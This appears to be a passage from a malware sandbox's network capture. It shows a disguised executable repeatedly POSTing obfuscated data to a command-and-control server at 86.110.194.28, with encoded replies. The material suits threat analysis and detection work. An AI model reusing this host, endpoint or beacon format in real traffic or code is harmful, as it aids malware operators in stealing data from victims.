Jan 3, 2025 18:27:41.524751902 CET	4944	OUT	Data Raw: 47 4d 70 55 72 6d 4f 42 70 52 71 4d 4f 4b 77 6c 59 6b 4e 43 35 67 54 6e 53 4d 49 7a 74 6b 75 64 4e 33 69 5a 7a 7a 45 52 47 4b 4b 6d 58 2f 73 79 77 2b 66 54 6d 43 42 37 32 4e 2f 62 57 4f 44 2b 4a 42 57 5a 79 47 75 7a 32 2f 63 6a 77 59 78 66 46 44 Data Ascii: GMpUrmOBpRqMOKwlYkNC5gTnSMIztkudN3iZzzERGKKmX/syw+fTmCB72N/bWOD+JBWZyGuz2/cjwYxfFDXNIauDRUz2rppeJumerOSW5Pp/jN++S1BKhrndDkWjjUJY/g1GdEqtb0QvcuideQokjOunBVe5HWJCSnlJSW5ZkU2P/A9ERCnb2AX2Gjea2bl/tcA5/9eKbCo68TKwibstIlAal50kPmCIs5n/bl3pcr/cy/mB14X
Jan 3, 2025 18:27:41.524914980 CET	2472	OUT	Data Raw: 73 49 59 6c 47 65 53 62 45 65 76 6f 78 64 72 63 4c 2f 76 51 65 67 39 48 52 4a 4e 4d 35 31 71 58 47 77 4d 4a 33 58 47 6f 6f 71 62 52 4a 2f 76 70 67 38 45 74 59 66 34 74 31 6f 72 41 6e 79 78 4c 78 38 62 31 64 50 4d 63 61 5a 73 76 66 52 42 69 74 6d Data Ascii: sIYlGeSbEevoxdrcL/vQeg9HRJNM51qXGwMJ3XGooqbRJ/vpg8EtYf4t1orAnyxLx8b1dPMcaZsvfRBitmIQTcma27Rsrr/8ksO/13/w9kzX1+zSTkbU+N9eb2h61Nr36Oeimy58IbfasghTiY8YWap5Eyiyc9kRDrr7643rftVmw3gPXVUYhp0OM7adGqJa1GHkPWUx/FtSWlae9D4vNd7PACfVsw2bU4sOqiN2D+zmLd7po08
Jan 3, 2025 18:27:42.105762005 CET	151	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	61261	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:40.615629911 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:27:40.971457005 CET	2576	OUT	Data Raw: 5b 53 5e 50 58 5e 50 5a 54 5b 59 5a 5b 50 57 58 5f 56 5a 54 52 56 50 44 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [S^PX^PZT[YZ[PWX_VZTRVPD_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&B<=_5:;1<@)6$'?"7:#(<3_ '</<)#Y'$X.
Jan 3, 2025 18:27:41.293059111 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:41.422600985 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	57095	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:41.561527014 CET	316	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue
Jan 3, 2025 18:27:41.908974886 CET	2576	OUT	Data Raw: 5b 51 5b 5a 58 5d 55 5a 54 5b 59 5a 5b 53 57 5a 5f 51 5a 58 52 5c 50 43 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [Q[ZX]UZT[YZ[SWZ_QZXR\PC_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%+.!"3%?'==361:6$#0X'$/,T(9#Y'$X.1
Jan 3, 2025 18:27:42.268882036 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:42.399409056 CET	151	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:42 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	57098	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:42.537081003 CET	316	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue
Jan 3, 2025 18:27:42.893343925 CET	2576	OUT	Data Raw: 5b 56 5e 5a 5d 5c 55 5b 54 5b 59 5a 5b 5e 57 52 5f 5c 5a 55 52 51 50 46 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [V^Z]\U[T[YZ[^WR_\ZURQPF_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%+6);&?>$$)%5!U7 $_$B'/+9#Y'$X.
Jan 3, 2025 18:27:43.217616081 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:43.346561909 CET	151	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	57099	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:43.473000050 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:27:43.830899954 CET	2576	OUT	Data Raw: 5b 54 5e 5b 58 59 50 5f 54 5b 59 5a 5b 53 57 5a 5f 52 5a 5c 52 5c 50 42 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [T^[XYP_T[YZ[SWZ_RZ\R\PB_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%(.5%,+*2X07=&6$64('<C$<#+9#Y'$X.1
Jan 3, 2025 18:27:44.182012081 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:44.318528891 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	57100	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:44.441174984 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:27:44.799602032 CET	2576	OUT	Data Raw: 5e 57 5e 59 58 56 50 51 54 5b 59 5a 5b 52 57 53 5f 57 5a 5d 52 5d 50 46 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^W^YXVPQT[YZ[RWS_WZ]R]PF_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&<."18=;)0-'<!5V <%*'$,;+#Y'$X.5
Jan 3, 2025 18:27:45.128572941 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:45.254597902 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	57101	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:45.405145884 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:27:45.752799988 CET	2576	OUT	Data Raw: 5b 56 5b 5a 58 59 55 5f 54 5b 59 5a 5b 51 57 5e 5f 53 5a 5c 52 55 50 45 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [V[ZXYU_T[YZ[QW^_SZ\RUPE_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&C<.*698&Z0=+"_0'<)5=V '3970?+)#Y'$X.9
Jan 3, 2025 18:27:46.128319025 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:46.254847050 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	57102	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:46.321722984 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2164 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	57103	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:46.379296064 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:27:46.737122059 CET	2576	OUT	Data Raw: 5e 52 5e 51 5d 59 55 5c 54 5b 59 5a 5b 52 57 59 5f 56 5a 5c 52 52 50 45 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^R^Q]YU\T[YZ[RWY_VZ\RRPE_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&?X)[5\$&$)*0Y'<9W5$=!8(]$9#'?;(#Y'$X.5
Jan 3, 2025 18:27:47.075741053 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:47.206357956 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:46 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	57104	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:47.336303949 CET	316	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue
Jan 3, 2025 18:27:47.690370083 CET	2576	OUT	Data Raw: 5e 50 5e 50 5d 5a 50 50 54 5b 59 5a 5b 51 57 5a 5f 54 5a 59 52 56 50 40 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: ^P^P]ZPPT[YZ[QWZ_TZYRVP@_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%+.!)<U2$C(86_04['<&69U4( Z$''Y,(#Y'$X.9
Jan 3, 2025 18:27:48.031358957 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:48.162520885 CET	151	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:47 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	57105	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:48.290271997 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:27:48.643544912 CET	2576	OUT	Data Raw: 5b 57 5e 5d 5d 5b 50 5d 54 5b 59 5a 5b 53 57 5d 5f 50 5a 55 52 51 50 43 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [W^]][P]T[YZ[SW]_PZURQPC_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&?=)Z!(R$<(>)0)\&Y%V 7&#Z$9(0?+(#Y'$X.1
Jan 3, 2025 18:27:48.970658064 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:49.101741076 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:48 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	57106	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:49.225564957 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:27:49.580897093 CET	2576	OUT	Data Raw: 5b 50 5e 5c 5d 5c 55 5f 54 5b 59 5a 5b 5f 57 5e 5f 56 5a 5e 52 57 50 41 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [P^\]\U_T[YZ[_W^_VZ^RWPA_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%)>%[!:3%<0)>_'B>%9">783&/,S()#Y'$X.
Jan 3, 2025 18:27:49.935626030 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:50.068924904 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:49 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	57107	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:50.191803932 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:27:50.549658060 CET	2576	OUT	Data Raw: 5b 52 5b 5c 5d 5d 55 5a 54 5b 59 5a 5b 54 57 5a 5f 5d 5a 5c 52 56 50 43 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [R[\]]UZT[YZ[TWZ_]Z\RVPC_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU&?>)^!:(2</)&$$5&?!!%T4+/'(E0+<)#Y'$X.-
Jan 3, 2025 18:27:50.880208015 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:51.012696981 CET	207	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:50 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 4 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 3f 55 5d 54 Data Ascii: ?U]T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	57108	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:51.145221949 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	57109	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:51.383753061 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2140 Expect: 100-continue Connection: Keep-Alive
Jan 3, 2025 18:27:51.737745047 CET	2140	OUT	Data Raw: 5b 54 5b 5d 5d 5b 55 5a 54 5b 59 5a 5b 52 57 58 5f 52 5a 58 52 54 50 45 5f 5d 5a 59 5e 5e 5a 5c 44 58 51 41 55 52 5b 51 5d 5f 5e 53 55 56 57 59 50 58 43 5d 41 5c 55 50 54 5f 56 59 50 56 59 59 59 56 5e 5a 57 52 5b 54 5b 5d 5c 50 5c 5c 5c 52 51 56 Data Ascii: [T[]][UZT[YZ[RWX_RZXRTPE_]ZY^^Z\DXQAUR[Q]_^SUVWYPXC]A\UPT_VYPVYYYV^ZWR[T[]\P\\\RQV[_ZZ_]VRP^\ZZWXZ]U_WY^[XZ[T[G\__^WZ\TS^^^VQU_UY_ZUWRPUX_Q\ZXQXYWTZXUT_^^\Q\Z_UGVF]SZ_QP_P^Z^US__]WX[XU%+1Z"+&,>;!0'&15R!!Q78$<0Y<T<9#Y'$X.5
Jan 3, 2025 18:27:52.070657969 CET	25	IN	HTTP/1.1 100 Continue
Jan 3, 2025 18:27:52.200551987 CET	380	IN	HTTP/1.1 200 OK Date: Fri, 03 Jan 2025 17:27:51 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 152 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 0d 1d 24 5d 32 15 08 11 3d 2f 09 1d 25 33 25 5b 22 09 20 5f 2e 20 2e 41 36 3c 08 02 27 3b 2c 55 3f 3d 2a 43 2b 30 39 56 23 00 2a 0d 3f 0a 28 5d 03 10 39 5c 3f 3d 01 1f 2a 58 2a 07 3a 0e 27 5f 30 24 37 00 29 0a 32 0f 25 05 35 0f 36 04 33 52 29 1d 03 59 27 5d 20 5f 3f 30 2c 07 33 17 20 54 0b 17 27 54 24 56 24 03 31 3b 3a 00 2a 34 20 5b 24 29 2e 08 35 05 3e 56 34 00 34 5e 2f 0e 21 54 24 5e 26 0f 3e 2d 28 0d 25 04 04 58 27 01 2e 5c 23 0f 28 55 0d 34 57 50 Data Ascii: $]2=/%3%[" _. .A6<';,U?=C+09V#?(]9\?=X:'_0$7)2%563R)Y'] _?0,3 T'T$V$1;:*4 [$).5>V44^/!T$^&>-(%X'.\#(U4WP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	57110	86.110.194.28	80	7896	C:\Program Files (x86)\Windows Portable Devices\kOfFkekrfoWUJKTEEHXqPfq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 3, 2025 18:27:51.507049084 CET	340	OUT	POST /Test/Authpython/eternalUniversal7/EternalRequestTest/Testdatalife/processorWindowsDatalifepublic.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0 Host: 86.110.194.28 Content-Length: 2576 Expect: 100-continue Connection: Keep-Alive
